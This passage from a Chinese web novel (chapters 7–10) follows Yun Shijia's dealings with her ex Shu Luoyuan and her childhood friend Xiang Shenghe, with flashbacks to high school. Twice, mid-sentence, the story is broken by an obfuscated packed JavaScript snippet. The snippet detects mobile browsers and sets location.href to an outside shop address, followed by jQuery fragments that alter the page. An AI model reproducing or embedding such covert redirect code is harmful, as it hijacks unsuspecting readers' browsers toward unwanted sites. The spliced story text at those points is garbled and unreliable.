尹奇睿忙装作打了一下自己的嘴巴,“呸呸,未来老婆!旧爱变新欢!行了不!” 他趁着舒洛原还没惩治他的油嘴滑舌之前,赶紧脚底抹油开溜了。 处理完公司的琐事,尹奇睿就为了自己的88青饼兴致勃勃往医院去了。 那位经销商负责人名叫谢如一,做完手术后已经从公立医院转到了条件更好的私立医院疗养。 尹奇睿刚到医院的国际住院部门口,就遇到了捧着一束鲜花的云诗加,她正在门口张望看楼层信息。 还真让他碰巧赶上了。 尹奇睿飞快在手机上敲信息,呼叫舒洛原赶紧来。 “云总,是在探望谢总的吗?我带你上去吧,在八楼。” 云诗加翻出舒洛原发来的信息对照楼层表,就听见有个略显熟悉的声音在耳边响起,抬头一看,是那日莫名其妙摆了她一道还浪费了她不少时间的尹总。 奇怪的是,这位尹总不像那天看起来那么不靠谱了,脸上堆满了笑意,谄媚几乎从娃娃脸上溢出来,让云诗加简直打了个寒颤,不知道他顶着张童叟无欺的脸到底想做什么伤天害理的事情。 她跟着尹奇睿到了谢如一的病房。 尹奇睿的态度过分的好,甚至可以说是有些诡异了,他轻轻敲门后推开门,还绅士地抬手示意女士先进。 云诗加狐疑地走进去,谢如一正看着窗外的景色发呆,见有人来了,便略整了整衣襟。 云诗加忙在脸上也堆起了笑容:“谢总,身体怎么样?我的工作正好路过这边,从舒总那边听说您转到这里来了,便顺道过来探望一下您。” 谢如一还没说话,尹奇睿就忙引荐:“谢总,这位就是那天帮忙的云总。” 云诗加见谢如一脸上浮现一丝尴尬,应该是不想去回忆那天狼狈的场景了,她偷偷踢了一下尹奇睿的鞋面,说:“呀,我看谢总的水杯空了。” 尹奇睿这次很快了然会意,起身拿起水杯去给谢如一倒了杯水。 谢如一道谢:“云总,那天多亏了你……” “害,小事情,我不过是正好在那里工作,顺手而已。”云诗加不甚在意地说道,把手中带来的花束放在病人的床头,略整理了一下花束中间最艳丽的那朵的花瓣。 “哦,云总是做什么工作的……”谢如一的视线顺着云诗加的动作瞥过床头的花束,眼睛亮了亮,惊喜问道:“这是日本原生嘉兰百合吗?” 云诗加点了点头,“对,我们工作室正好在培育这个品种,之前有位客户很喜欢,我们引进了之后就花了些工夫在这个品种上。” “莫非云总是做……” “对,我是做园艺和古法造景的,刚创业不久,还请谢总多多关照啊!”她笑着把自己的名片双手递到谢如一的手里。 谢如一的笑容变得真诚了许多,“没想到现在还有年轻人愿意做这个行业,我爷爷年轻的时候就是苏城园林的造景规划师,他原想培养我也干这个,但我心思浮躁,静不下心来,只好做点小买卖,以前爷爷教我的东西可杂了,还包括爬树呢。” “学这行确实需要花许多时间,也要吃些苦,主要现在古法造景的受众也越来越少了,只能做做景观设计赚些小钱,所以这条路不好走,您的选择是对的,不过话说回来,谢总您可不是什么小买卖啊……”云诗加笑眯眯的奉承他。 谢如一摆了摆手,“我这种继承家业的能有什么出息,不过是啃老本罢了,我还是佩服你们这种创一代,敢想敢干。” 云诗加见状,忙把今日的探访目的引进来:“您这一句话,可是把舒总也一起骂了,我从小就佩服你们这种有家世背景的人,不用像我这种泥腿子,从底层爬上来,多省力呐……” 虽然是商业互吹,但云诗加这话多少是带着真心的。 她在年少时,是真真切切地羡慕过那些家境富裕的人,其中包括了舒洛原。 在梅中度过的那半年,她多少从周围知晓了许多信息。 她讶异地发现,梅中的许多学生都在校外付费上一种另类的辅导课,类似于大学不同专业课程的微缩版,课程内容涵盖了综合大学才会开设的专业知识课,虽然只能涉猎一些最基础的概念,但作为大学选专业的预备课来说,已经足够了,这种辅导课还会请各大名校的教授和学生们来分享日常,为许多懵懂的高中生们推开了一扇扇窥探未来的窄窗。 她听见自己的道心破碎了。 原来不止有普通的补习班,还有这类开拓眼界的辅导班,更不用说梅中的许多同学们都多才多艺,连校园社团随便展示的花样都比青田中学精心准备的文艺汇演节目多。 那些她在闭塞象牙塔里精心编织的认知经纬,关于教育公平的神圣想象,在接触宏大的真实世界的这一瞬间,开始分崩离析。 每条纬线都曾认为只要获得了公平的权利,就可以成为赤道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342272|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而当天平另一端的现实展现在面前,这种认知体系的崩塌不亚于一场世界观海啸。 在某一段时间里,她甚至是有些恨这段曾经以为是幸运的际遇的。 在高三某次英语测验后,云诗加被叫到了英语老师的办公室里。 英语老师是一位年轻高挑的女性,打扮时髦,常常穿一身长裙,每天戴不重样的耳环,笑起来很亲切,跟学生们没什么距离感。 她的教学方式也很新颖,喜欢脱离课本,找各式各样的英语读本、报纸等读物,给学生们扩展英语词汇量、培养语感。 云诗加来到办公室时,英语老师正在批改作业,她拿着红笔勾勾画画,指着旁边的一把椅子说:“你先坐一下。” 改完这一面,她抬起头来,用很温和的语调问眼前的学生:“云诗加,你在英语方面有没有什么疑惑?” 她从抽屉里翻出了这次测验的成绩单,找到了云诗加的信息,数据显示,云诗加在理科方面都还不错,说不上是很突出的水准,但各科都在中上水平,语文也处于正常水平,唯独英语,在班级里排在末尾,大大拉低了总分,虽然云诗加是旁听生,但教育者的使命让她这个英语老师还是意识到责任重大。 “没关系,你不用紧张,有什么说什么,老师也尽量帮你解惑,我看了你的卷子,长篇阅读理解和听力题目上失分比较严重,只要针对薄弱项专门练习,一定能找到方式提高的。”英语老师循循善诱。 云诗加看向老师手里的表格,在之前的学校里,她自以为自己的英语不算太差,却没想到来了南城,她的英语成绩在班级是倒数的,她眨了眨眼睛里的酸涩,慢慢说道:“老师,我好像……在语感方面没有感觉。” 语感是一个很微妙的东西,语言学习很多时候并不像理科,有一个完全标准的答案,而更在乎一种感觉,在考试中能帮助做出快速精准的判断。 但语感是一张网,必须一个结一个结的连起来,不能有太大的破洞,才能网到鱼。 而这张网的基础,在过去的每一个学习阶段中,慢慢扎根捆绑起来,每个阶段的每个部分都是一个网上的结,哪怕缺了其中一两个环节,便没有那么牢不可催了。 回望之前的学习生涯,其实云诗加一直是一个努力的人,也是一个应试教育的得益者。 她过去掌握了一些考试的技巧,她习惯于对照着考试大纲一一复习重点,在青田中学,为了匹配大部分学生的学习能力,老师只会教授大纲上最基础简单的英语语法和单词量,大部分同学都只追求一个“差不多就行了”,她努力的学习态度真是无往不利,每次都能考第一。 但这种学习法让她缺少了这张大网上的几个结点,她在应付完考试之余,在实际应用中总显得有些吃力。 而这种微妙的、不易察觉的吃力感,在进入梅中旁听后,随着英语知识的突然加深加难,给了她一种断崖式的挫败感。 她一时之间不知道应该从哪里开始修补这张大网,也有点担忧,就算是补了,会不会是亡羊补牢。 英语老师真诚地引导她说出了症结所在,也帮她找到了学习方法,语感没法一下子补上来,但高考在即,老师只能建议她在每天走路时听英语原著小说的听力,培养语感,还给她推荐了两本针对她薄弱项的专项练习题集,让她拿回去做。 踏出办公室,在走廊的拐角,云诗加没有按照回教室的路线走,反而走向了教学楼后面的草坪,那是她第一次来梅中时偷听上课的窗口。 她蹲在墙角,抱着英语试卷,下巴埋在膝盖上无声地责怪自己。 “云诗加。” 她听见有人在叫她的名字,她抬头,看见他们高三一班的北窗开了半扇窗,舒洛原的头从窗口探出来,对她笑意盈盈。 下一秒,舒洛原就有如神兵天降般站在了她的面前。 他是从窗口跳出来的,他的手撑在窗台上,长腿一跃,就稳稳落在了草地上。 窗口随之传来几个同学的惊呼。 舒洛原把她从墙角拽了起来,静静望着她,然后用一种很淡很自然的语气说:“云诗加,你要不要吃冰淇淋?或者烤肠?” “嗯?”云诗加歪着头不解,“现在吗?” 上课铃响起,教学楼的走廊上一时步履纷纷,又瞬间归于安静。 “要不要逃课,去吃东西。”他微微低着头,看着她的眼睛笑着说。 8. 008 老朋友 那一节是英语老师的课,用来讲刚考完的测验卷子的。 云诗加却和舒洛原又一次齐齐坐在便利店门口的台阶上。 冬天的南城很干燥,许久没有下过雨,风也逐渐冷了起来,落叶堆在路边,总是扫也扫不完。 他们看着街道上人来人往,车来车往,颇有些闲人的姿态。 “来吧,我给你讲讲卷子。” 舒洛原提议道。 云诗加啼笑皆非:“我们逃了英语老师的课出来,是为了在这里上你的英语课?” 舒洛原大言不惭:“说不定我比李老师讲得还好呢。” 从校门口跑出来时,云诗加手里还捧着刚从英语老师办公室里带出来的习题册和试卷,她把习题册垫在了试卷下面,舒洛原从裤袋里掏出一只红笔,开始在她的试卷上勾勾画画。 “这题我就不讲了,粗心,没注意过去式。”他在题干上画圈勾出了过去式的提示。 “这道题,是因为这个单词不认识吗?”他耐心地问。 “嗯,”云诗加点了点头,“我只能猜到大概可能是种工具?” 舒洛原在阅读理解题的文章里圈出了几处线索,“你把这几个单词联系在一起,可以猜出这个单词是什么意思了吗?” 云诗加对着几个单词思考了片刻,犹疑地说出猜测:“螺丝刀?” “BIngo!”舒洛原含着笑竖起了大拇指,“孺子可教也。” 就这样,舒洛原针对她的错题,把整张卷子给她讲解了一遍,他的思路清晰,效率很高,冰淇淋还没完全化掉之前,卷子就讲完了。 把卷子折叠好夹在习题册里防折角,云诗加在冷冽的风里捋了捋自己鬓角的碎发,她感觉脖子后一阵温暖袭来。 她抬头,发现舒洛原把自己脖子上的围巾围到了她的脖子上,面对她的目光,他轻咳了一声,把视线投向街旁路过的几位徒步爱好者们身上,他们正背着行囊和登山杖往后街走,似乎在找什么餐厅。 舒洛原起身把冰淇淋包装扔进了垃圾桶里,弯腰问她,“要不要走走?” “回教室吗?”她说。 “不,”舒洛原说,“就是纯粹地走走。” 走过学校门口的文具店,舒洛原突然出声说:“你知道吗,看夕阳也是一样美的。” “什么?” “就像刚刚那群徒步爱好者们一样,他们有年轻的,也有年老的,他们或许有人落后出发,有人提前到达,但只要他们想,终究可以爬上同一座山峰。” 舒洛原刻意把视线放在远方的道路尽头,而不是她的侧脸。 他接着说:“有些人不甘心做命运的承受者,不甘心走既定的路线,那就需要徒手攀爬山峰,但请她不要忘记,有的人是坐缆车上的山,有的人本就在半山腰上,而她不应当跟坐缆车的人比较,谁先看到山顶的日出。” “她应当自豪才对,她是就算缆车停运也能爬上山峰的人,何况,即使看不到日出,那看夕阳也是一样美的。” 云诗加听懂了,她放慢了步速,转过头来想跟他说些什么,但嘴唇翕动,她又说不出什么来。 舒洛原指着道路的前方,“你看,”他说,“夕阳马上就要落下了。” 云诗加看向天边,道旁树的缝隙中,橘黄色的太阳正在往下掉,她依旧夹带着莫名的感伤。 舒洛原继续说:“但是明天还会升起。” 云诗加笑了笑,她说:“谢谢,但舒洛原,……” 舒洛原侧耳听她的下文,却见身旁的女孩长久没有说出来。 云诗加那天想说的是,舒洛原,你能不能别对我这么好,或者说,舒洛原,你对其他人也这么好吗? 但她没有说出口,没有泄露任何一丝心底的情愫,她最后说的是:“但舒洛原,你不知道,明天是个雨天。” 舒洛原愣了一下,然后哈哈大笑,他说,云诗加,你讲的笑话才是最冷的。 看着他笑的样子,她也跟着一起笑,一笑竟然停不下来,笑到精疲力尽、肚子酸痛才作罢,笑到太阳彻底落了山,笑到梅中的校门打开,涌出放学的人流。 云诗加要回教室取书包,舒洛原则在放学的车流里找到了自家司机,他上车后从车窗口朝着已经走远的云诗加挥了挥手,云诗加回了个微笑。 司机戴着白手套,将车窗缓缓关上。 云诗加边走边深深地呼吸,她没有漏掉任何关于他的细节,她不止一次见过舒洛原家的司机,从同学的谈论中听闻他家的背景,她也不止一次清醒地意识到——能和舒洛原做朋友,已经是一件幸事了,其他的,她不能够去想。 冷风吹过,她鼻子一痒,打了个喷嚏。 她又不得不承认,有些心脏的跳动与荷尔蒙的不安分,就像喷嚏一样,无法抑制,无法减轻,无法遮掩。 走到教室的座位时,她低头整理书包,才发现还围着他的围巾,如果习惯了温暖,便会觉得是自己的。 很久以后,云诗加还记得,那条围巾是橘黄与深蓝色交叉格子的图样。 橘黄是那日透过树叶缝隙的夕阳的颜色,深蓝色是太阳落山后她独自走在路上看见的天空的颜色。 橘黄是她的心动雀跃,深蓝色是她的郁郁少女心事。 后来她把那条围巾还了回去,一同还的还有那日雨天他借给她和妈妈的伞。 作为感谢,她还赠了一瓶贩卖机上的咖啡,卷在围巾里,等到舒洛原看到时还带着余温。 对于初恋的感觉,即便后来惨淡收场,云诗加还是愿意称之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342273|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为美好的。 不过她没想到,横空冒出来的前任居然还会故技重施。 跟谢如一开心畅聊了一小时后,云诗加基本笃定,下次只要她邀约,帮舒洛原和谢如一组一个局,有她这个救命恩人当这个和事佬,她有八成把握谢如一应当不会拒绝继续与舒洛原公司合作。 从八楼下来,刚打开电梯门,云诗加就看见舒洛原的脸大刺刺出现在面前,他半倚在电梯门边,手里拎着一柄黑色长柄伞,他眉毛微微扬起。 “好巧,外面下雨了,云总,需要送伞服务吗?”见她从电梯里走出来,他提起雨伞在她面前晃了晃。 云诗加的嘴角微微抖动了一下,侧头看向身后的尹奇睿,见他得意的面部表情还没来得及收回,她突然更疑惑了。 …… 这是唱的哪一出? 跟她搞什么回忆杀? 她早十年就见过这一招了,难道过了十年,多吃了这么多年米饭,她还能跳进同样的套路里被套牢吗? 今天正好被她妈耳提面命,约了好久没见的向笙和一起吃晚饭,她看了看手机屏幕上的时间,估计他也快到了。 “不用了,我有人接。”云诗加从舒洛原面前淡定走过,很果断地拒绝了。 舒洛原料定她还在生他的气,便亦步亦趋跟在后面,油嘴滑舌说:“欸,走慢点,我也是为了感谢你,要是帮我搞定了谢总,我给你送一百次伞都可……” 他的话突然凝结在嘴边。 因为他发现,云诗加不是在跟他开玩笑。 医院门口停着一辆骚包金色宾利,车上下来的男人格外眼熟。 舒洛原眯起眼睛,脸已经沉了下来。 他眼睁睁看着向笙和这个吊儿郎当的公子哥像挥之不去的苍蝇一样,盯着云诗加这块甜蛋糕就腆着脸来了。 向笙和在人群中逡巡,目光锁定了气质卓越的云诗加,上前几步,帮她拎过手中的皮包,替她开了车门,单手撑在车门上方,叮嘱道:“加加,小心碰头。” 关上车门,打算绕到另一边上车的向笙和才像刚看到那个脸色阴沉的男人似的,恍然大悟般露出惊讶的神情:“哎呦,莫不是我看走眼了吧?这不是舒洛原吗?你回国啦?” 舒洛原咬紧了牙关,勉强从喉咙口挤出一声“嗯”。 向笙和笑了笑,张开了手臂,作势要拥抱他。 舒洛原往旁边避让了一步,怒视问他:“向笙和,你要干嘛?!” 向笙和的主动拥抱被拒绝,他耸了耸肩,双手收回来插进裤袋里,倒也没觉得尴尬,反而真诚说了句:“欢迎你回来啊,好久不见了,我们也算是老朋友吧。” 舒洛原觉得这个人简直脑子有问题。 他倒是大度,谁会跟他是老朋友啊。 9. 009 一杯温水 咀嚼完最后一块牛排,云诗加放下刀叉,对着面前正在注视她的男人笑了笑。 “这又是哪位女伴给你推荐的餐厅?”她笑着问。 这是一间不错的餐厅,靠落地窗的位置可以俯瞰苏城的天际线,远处是黑白古朴的老城区,近处是灯光如星的高楼林立。 餐厅的钢琴演奏者正在弹奏一曲悠扬的不知名字的曲调,侍者也都西装革履。 一切都很好,唯独牛排,她觉得少了份火候,肉质不够紧实。 向笙和敛起了一分笑意,他半开玩笑的语气,“我不只有你一位女伴吗?” “少来,”云诗加低头用餐巾掖了掖唇角,眼尾的警告飞过去,看见向笙和重新挂上一副常见的笑容,“我还不知道你吗?” 向笙和无奈地叹了口气,“我真改邪归正了,通讯录里除了客户之外一个女人都没有,哦还有我妈,你怎么不信呢……这家餐厅是我在网上找的,你们女生不都喜欢吃漂亮饭吗?你看这摆盘,这环境……” 云诗加没接话,忙了几天,她也有些疲惫,侧头看向窗外,落地窗上反射着西餐漂亮的盘子倒影,桌上的昏黄烛光影影绰绰。 倒影里还有对面投来的深情的目光。 云诗加不是不明白,向笙和算是她的青梅竹马,经济条件不错,知根知底,两方家庭也都撮合。 按照她妈云画的话来说,打着灯笼都找不到这么好的对象,何况他们从小就认识。 可她总觉得没劲。 她不喜欢将就。 向笙和从小就当着她的面谈恋爱,他长得一张桃花脸,恋爱事迹总是轰轰烈烈,她跟他同在一个学校,想不知道都难。 他小学时候就开始揪女生的辫子,初中逃课去隔壁学校蹲校花,高中好不容易被送去了寄宿学校,却为了找当时的女朋友半夜翻围墙扭伤了脚踝,还差点被学校记了处分,大学更是不用说,女朋友几乎每个月都不重样。 偏偏到了大学快毕业的时候,他不知从哪天开始,突然注意到身边还有一个没有染指过的女人,开始对着她献殷勤。 但他似乎忘记了,云诗加是从小见过他追女人的手段的,送花?送礼物?她不吃这一套。 后来他也不知道中了什么邪,开始转变攻势,时不时地到她妈云画那里去卖乖,一会儿说他为了她戒了烟,一会儿又说她工作太辛苦,要来接送她上下班。 她妈还真就吃这一套,耳提面命叫她对向笙和温柔一点,别老是不把自己当个女孩,工作之余还是要谈谈恋爱。 云诗加懒得争执,每次都把话题绕过去。 但说实话,云诗加好几次都差点妥协了。 一次是她前司的领导为难她,饭局给她灌了酒,是向笙和过来把她接走,还顺带送了领导一拳。 醉酒后的她情绪失控,哭得抽抽噎噎,觉得向笙和对她也算诚心,打领导的那一拳甚至称得上有点帅了,她出了口恶气,心情愉悦,几乎都要答应他的表白了。 但酒醒了她还是打电话骂了向笙和一顿,他想英雄救美是他的事,但他冲动打她领导的那一拳,最后是她倒贴了半个月工资赔礼道歉,还要提心吊胆领导继续变本加厉给她穿小鞋。 一次是她终于下定决心出来创业,向笙和默不作声给她卡上打了二十万,备注的赠与,她难免感动,但还是给他写了张欠条。 还有一次便是,她生了一次不大不小的病,在家休养,他没有嬉皮笑脸,认认真真和她妈轮班照顾了她几天。 她浑身无力躺在被窝里,看见暖黄的阳光照在他的脸上,向笙和的脸贴在她的水杯上在给她试水温,把水杯递给她的时候,他问她:“你还在想着他吗?” 云诗加当时愣了一下,高烧两天的脑子还没转过弯来,就听向笙和又一次认真地问她:“把他忘了吧,和我开始一段新的生活。” 她抿了一口温水,水温正好。 在那一刻,她几乎要沉溺在这种温情里,让向笙和以一个照顾者的身份,入驻她的感情生活。 向笙和对她来说就是一杯温水,她不排斥,也没那么喜欢,她不止一次拒绝他。 可他像一块牛皮糖似的,黏在她的生活里,他说,“那他们可以只做朋友,难道连做朋友的权力都没有吗?” 后来他又换了一个说辞,他说,“等你找到那个能够照顾你的人,我就放心离开,绝不打扰。” 云诗加拗不过他,便只能冷处理。 何况她还有求于他:“对了,上次你说的别墅项目,你帮我打听了吗?” 谈到正事,向笙和也正色道:“帮你打听了,那个新的别墅楼盘是绿木集团牵头开发的,你想做他们的生意恐怕难度不小,我只认识他们的项目总,可以帮你牵线一下,但具体拍板估计他也定不下来。” “没事,我也只是想露露脸,毕竟是团队还不够成熟,就算只是认识一下,也是好的。” 云诗加并没有自夸自大,也不至于妄自菲薄,生意场上的利益划分通常不是在虚伪的酒局应酬,而在私底下的交情。 要打破固有的壁垒,必得有比他们过去稳固的关系更庞大的利益才是。 她举起酒杯,轻轻与向笙和的红酒杯相碰,她说,“不管怎么样,还是那句话,我得谢谢你。” “你跟我,说什么谢。”向笙和也还是那句话,他笑得很妥帖。 “我想过了,等我把几个新项目平稳落地、有了一些收益以后,我把你借我的那二十万,算作你入股我的公司,当然,钱我还是会照旧还你的。”云诗加把早就准备好的打算说了出来。 向笙和没想到她的想法会这么公事公办,他愣了一下,很快说:“那笔钱本来就不是借给你的,我……” “我知道,”云诗加打断了他,“情义归情义,利益归利益,亲兄弟还得明算账呢,你的好我记在心里,我也知道你不缺这三分薄利,但我对你的诚意也需要用一些方式体现,你能明白吗?” 向笙和苦笑,“行,我明白,跟我划清界限。” “也不是这个意思,我们从小一起长大的,你帮我,我帮你,我们永远是朋友,怎么能划清界限呢?” 云诗加又举杯,敬了他一杯酒,年份不错的红酒抿过她的嘴唇,唇边洇着性感的红痕。 向笙和盯着她没说话,许久后回敬了一杯,他仰头将红色透明的液体倒入喉咙,喉结滚动,他听见她关心说:“喝慢点。” 他放下酒杯,示意侍者过来倒酒,然后试探性地问道:“对了,舒洛原什么时候回来的?” 云诗加怔愣,随后扯起嘴角,耸了耸肩,无所谓似的说道:“不知道,他又不是我的谁,没必要跟我说明他的动向,我们不过是偶遇碰上了,他帮我解决一个工作问题,我帮他搞定一个客户,很简单的交易。” 她把种种联系隐去,把一切都轻描淡写。 “哦,是这样。”向笙和也淡淡揭过,无意去触伤她的旧情。 吃过饭,向笙和提议去湖边走走消消食,顺带路过看一看那块新拍出去的别墅项目地块。 夜晚的湖边细雨蒙蒙,向笙和撑着一把墨蓝色大伞,走在她的身侧,伞身微微向她这边倾斜。 “你现在还怪绅士的。”云诗加打着哈哈,把胳膊抱在身前,避免与他的肢体接触。 向笙和敛目,神情恹恹,说:“你就这么讨厌我吗?” 她扭头看他,“什么?” 向笙和苦笑说:“也不用这么防备我,不过是同撑一把伞,我不会对你做什么。” “不是,你想多了,我只是觉得到了晚上有点冷。”云诗加悻悻地把胳膊放下来,垂落的胳膊走动时难免摩擦到他的衣角。 “冷么?刚好我有些热了。” 向笙和把风衣脱下来,罩在她的肩头,她一时又有些后悔,找的理由也太仓促了。 “不是,不用,我……” 云诗加语无伦次,但又不好强硬拒绝,怕又伤害到他脆弱的玻璃心,想了想,还是穿上了他的风衣,薄款的米色风衣穿在她的身上有些过长,没走一段路,风衣的下摆就被飘洒进伞下的雨水润得潮湿了。 “那边就是那块工地。” 向笙和朝湖边一个方向指去,新拍出去的地块周边已经搭起了简易的蓝色围挡,第一批大型机械刚刚进场。 “嗯,看样子已经开工了,我查过,景观是DAC公司中的标。”云诗加说。 向笙和觉得耳熟,突然想到说:“那不是你之前工作的那家公司吗?” “对啊,听说还是王刚平带队中的标呢。” “靠,那厮……算了,我不说了,不然又被你骂。” 向笙和住了嘴,但云诗加却笑了笑,她说:“没事,我现在不怕他为难我了,你尽管骂,我不说你。” 向笙和说:“当初那一拳,我还是打轻了,没给他鼻梁打歪,实在是遗憾。” 云诗加扑哧笑了出来,“打歪了算轻伤,你得去坐牢,谁来捞你?” “那你记得来给我送牢饭吃,听说里面的饭可难吃了。”向笙和一本正经地说。 云诗加笑得更大声了:“喂,开玩笑的 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“哦,这里不能进去的,我们领导吩咐过,你们只能在外面看看,不能打扰里边的施工作业。”保安点燃了一支香烟,吐出一缕烟雾,空调风把那缕烟往云诗加脸上吹来。 向笙和知道她对烟味敏感,把云诗加往后拉了一把,自己探头进了保安亭,说:“外面雨大起来了,我们借你的宝地躲躲雨,不介意吧?” 保安大叔看在两支烟的份上,对此没有意见:“这天气下雨下个没完,我们工地开工都有困难。” “是啊,老天爷要下雨,咱们也没办法,这工地待遇怎么样?我有个叔叔,最近也在找工干呢……” 向笙和也不客气,直接坐在了里面保安休息的简易床边缘上,跟保安大叔东拉西扯,不一会儿就摸了个清楚。 保安无意识地托出:“咱们这工地待遇还行,就是附近吃的太贵了,一般工友都买不起盒饭,还有就是领导管得严,各条线的老板什么的,每周都过来检查,我们一点错都不能犯,这不,上周五,集团领导下来一看,说我们的防尘围挡做的不合规范,罚了好几个工头的钱……” 云诗加站在外边屋檐下,侧耳听着里面的交谈,她探头进去问:“哦?领导每周五都会过来吗?” 保安没觉得有什么不能透露的,哀怨说道:“是啊,还老是大晚上的过来视察,搞得我也苦恼,都不敢偷懒睡觉了。” 向笙和跟云诗加对视了一眼,借口说雨好像小一点了,便告辞离开了。 往回走的路上,云诗加不免兴奋地说:“那我下周五过来赌一把。” 向笙和问她:“你打算怎么办?” “小区景观是DAC的标,但我仔细看了他们发布的信息,里面没提及样板房的布置,还有之后各个业主的院子,肯定也需要很多绿植,这都大有可为啊!如果我能做一部分,先不说赚钱的事儿,起码有个好的开始嘛。” 云诗加掰着手指头计算,向笙和失笑,觉得她钻进钱眼里的样子不仅不市侩,反而过分可爱了。 两人撑着伞绕过工地后头,步行到主路上,车流不息,向笙和虚虚搂着她的肩引导她走在人行道内侧。 经过一家便利店时,云诗加无意识地侧头看。 便利店靠街道的一侧开着两扇落地玻璃窗,窗前摆着几个吧台椅,其中两个椅子上坐着两个男人。 两个很眼熟的男人。 其中一个正好对上她的目光,立马站起身来,从便利店里迎了出来。 “好巧,云总,又见面了。”尹奇睿惊奇地说道,目光在她和向笙和之间来回梭巡。 “好巧,”云诗加也勾起嘴唇,“正好经过。” 尹奇睿:“这位是……?” “向笙和。”云诗加不多做解释,又向向笙和介绍对方,“笙和,这位是尹总,是……舒总的合伙人。” “哦……”向笙和了然地长呼了一声,主动伸出右手,“尹总,幸会幸会。” 尹奇睿伸手与他相握,也客气道:“向总,幸会,您也认识我们老舒?” 向笙和笑了笑,“认识的,老朋友。” “老朋友?” 尹奇睿背后传来一声冷哼,他往后一瞧,老舒从便利店的强光中走出来,整张脸因为背光的缘故显得阴恻恻黑黝黝的。 舒洛原走到了向笙和的面前,就着远处路灯的微光盯着他脸上的波澜。 “我不过是去国外念了几年书,我怎么不知道,现在国内这么开放,流行和女朋友的前任做朋友了?” 10. 010 前尘往事 尹奇睿还想说些什么,被舒洛原拽着胳膊走了。 向笙和倒是体面,望着两人气冲冲的背影还来了句:“雨天路滑,慢点走。” 刚说完,尹奇睿就踩中一片被雨水打得湿滑的落叶,脚下没有防备,好在被舒洛原架着走,才没有摔跤。 目送两人远去,向笙和看了看黑蒙蒙的天,说:“好像不下雨了。” 他收起伞,往人行道外侧甩了甩。 “走吧。”云诗加收回目光,往餐厅下的大厦停车场走去。 向笙和跟在她后面,到了地下停车场,四下无人,他终于忍不住问:“女朋友?” 他的尾音上扬,带着藏不住的愉悦。 云诗加顿住,斜眼往后看他,“嗯哼?” 向笙和笑得诡异,“我算是明白了,我说那位怎么对我这么多敌意呢?合着我是你的一个幌子。” 云诗加走到他的骚包宾利面前,催促道:“快点解锁,我要上车,走得累死了。” “等一下,我觉得还是先解释清楚比较好,”向笙和走到她面前,一只手抵在车门上。 “解释什么?” “关于做我女朋友身份的……前尘往事。”向笙和笑得很促狭。 向笙和对舒洛原没有恶意的最大原因是,舒洛原对他算是有救命之恩。 梅中在除夕前终于放了假。 云诗加带着对父亲理不清的思绪,坐公交回了家,云画在厨房里忙活,云诗加看着妈妈的背影,眼睛里一时有些犯涩。 但云画没有察觉到女儿的情绪,“回来啦?向笙和刚刚来找过你。” 云诗加眨去眼睛里即将泛出的湿润,别过头去,佯装寻常,“那我去找他。” 她几乎是夺门而出。 向笙和的外婆家就在云诗加家的楼上,每个寒暑假,向笙和都会住在外婆家。 她上楼敲门,开门就是向笙和兴致冲冲的脸,“云诗加,听说你去梅中了?” 云诗加轻轻嗯了一声,“你找我干嘛?” “没事就不能找你了?”向笙和反问。 “没事那我下楼了。”云诗加作势要走,被向笙和拉住了羽绒服的帽子。 “别扯我帽子!”云诗加回头拍掉了他的手。 “好好好,那你陪我去放烟花。” 云诗加:“……” 她知道向笙和喜欢半路开香槟,但没想到连烟花都要提前放。 云诗加对放烟花不感兴趣,她被梅中的那帮变态学霸打击得体无完肤,原想在这几天假期里多刷几套题,但被向笙和软磨硬泡了半天,还是答应在除夕夜陪他放烟花。 除夕夜这天,乡下的外婆被接来一起过年,云诗加陪着外婆说了好些话,外婆帮忙洗碗之余一直在絮絮叨叨,叮嘱着云诗加说高三不要掉以轻心,云诗加耐心听着。 陈明华吃完饭,洗了把脸,说跟牌友早就约好要打牌就出门了,临出门前还抱怨了一句年夜饭的饭煮得有点硬。 看着厨房里忙前忙后的妈妈和外婆,云诗加的嘴唇动了动,终究没说什么,她打开电视,听见向笙和在楼下喊她的名字,她高声应了一句。 出门前,云诗加的手机震动,收到了涂玉棋的新年祝福,青田中学的班群里也一片热闹,她依依回复后想了想,给舒洛原也发了一条:【新年快乐!】 生怕舒洛原误以为她是群发的,她又加了一条:【舒洛原,祝你新年快乐!】 那一年的除夕没那么冷,云诗加出门时没带围巾,快步往下走时裹紧了身上的羽绒服,在楼道里闻着饭菜香辨别各家各户的年夜饭大菜是什么,外面已经有人放起了烟花,楼道窗玻璃都被震得砰砰作响。 走到楼道口,看见向笙和举着几个烟花筒跃跃欲试,“去哪里放?” 云诗加被冷风猛地一吹,吸了吸鼻子说:“随便,去空旷点的地方吧。” “护城河边吧,怎么样?”向笙和提议。 云诗加皱了皱眉,“太远了吧,那得坐公交去。” 向笙和挠了挠头,“嘿嘿,我女朋友住在那边,我想放给她看。” 云诗加:“……你又换了哪个?上一个不是就住在后面的小区吗?” 向笙和只能利诱她:“你就说陪不陪我去嘛……这样吧,我们打车去。” 云诗加摇头。 “那……下次去超市或者书店,你挑,我买单!”向笙和横了心。 “成交!这还差不多,走吧。”云诗加狡黠地一笑。 跨年夜的出租车没那么好打,向笙和接到了亲亲女友的电话,站在避风处黏黏糊糊地和女友聊着天,云诗加站在路边吹风拦车。 